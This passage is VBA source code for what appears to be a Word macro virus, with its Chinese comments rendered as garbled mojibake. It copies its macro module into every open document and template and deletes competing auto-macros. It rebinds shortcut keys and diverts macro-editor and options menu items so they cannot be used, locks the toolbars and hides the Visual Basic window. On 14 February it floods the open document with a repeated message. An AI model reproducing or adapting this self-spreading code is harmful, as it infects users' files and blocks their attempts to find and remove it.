                If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
                    aTemp.VBProject.VBComponents.Remove (cItem)
                End If
            Next cItem
        End If
Next aTemp

'¸ÐȾËùÓдò¿ªµÄÎļþ¡£
    For Each aDoc In Documents
        If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
             WordBasic.MacroCopy file$ + ":lcm", aDoc.FullName + ":lcm"
        End If
Next aDoc

'¸ÐȾËùÓдò¿ªµÄÄ£°å¡£
    For Each aTemp In Templates
        If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
              WordBasic.MacroCopy file$ + ":lcm", aTemp.FullName + ":lcm"
        End If
    Next aTemp


'Óëºê¡¢Visual Basic ¡¢Ä£°åÓëÔØÏîµÈÓйصĿì½Ý¼ü¡¢²Ëµ¥Ñ¡ÔñÏî¡¢¹¤¾ßÌõ×Ô¶¯¹Ø±Õ¡£
out:
    CustomizationContext = NormalTemplate
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
       Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
    Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
    myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
    
    For Each mItem In CommandBars("Tools").Controls
    If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
        mItem.OnAction = "AutoClose"
    End If
    If mItem.Caption = "Ñ¡Ïî(&O)..." Then
        mItem.OnAction = "AutoClose"
    End If
    Next mItem
    For Each cItem In CommandBars("Tools").Controls
    If cItem.Type = msoControlPopup Then
        If cItem.Caption = "ºê(&M)" Then
            For Each mItem In cItem.CommandBar.Controls
                If mItem.Caption = "ºê(&M)..." Then
                    mItem.OnAction = "AutoClose"
                End If
                If mItem.Caption = "Visual Basic ±à¼­Æ÷(&V)" Then
                    mItem.OnAction = "AutoClose"
                End If
            Next mItem
        End If
    End If
    Next cItem
    For Each cItem In CommandBars("Visual Basic").Controls
    cItem.OnAction = "AutoClose"
    Next cItem
    
    For Each cItem In CommandBars
    If cItem.Visible = True Then
        cItem.Protection = msoBarNoCustomize
    End If
    Next cItem
    
    WordBasic.FileSaveAll 1, 1
    

pun:
    If WordBasic.Month(WordBasic.Now()) = 2 And WordBasic.Day(WordBasic.Now()) = 14 Then
try:
        On Error GoTo -1: On Error GoTo 0
        On Error GoTo -1: On Error GoTo try
Selection.TypeParagraph
For i = 1 To 50
    Selection.TypeParagraph
    Selection.TypeText Text:="HI£¬ÄãºÃ£¡ "
    Selection.TypeParagraph
    Selection.TypeText Text:="  ½ñÌìÊÇÇéÈ˽ڣ¬ÎÒÓÖÏëÆðÁËÄÇ´¬£¬ÄǺӺÍÔÚÄÇÌõºÓºÍ´¬ÉÏÓöµ½µÄÒ»¸öÔøÏëΪ֮ÉúΪ֮ËÀµÄÅ®º¢£¬»¹ÓÐÒ»Ìõ×ÔÒÑÏÖÔÚÎÞÄÜΪÁ¦Òª»»»ØµÄÏîÁ´......"
    Selection.TypeParagraph
Next i
End If
Selection.TypeParagraph


exit_:
    For Each myTask In Tasks
        If InStr(myTask.Name, "Visual Basic") > 0 Then
            myTask.Visible = False
        End If
    Next myTask
End Sub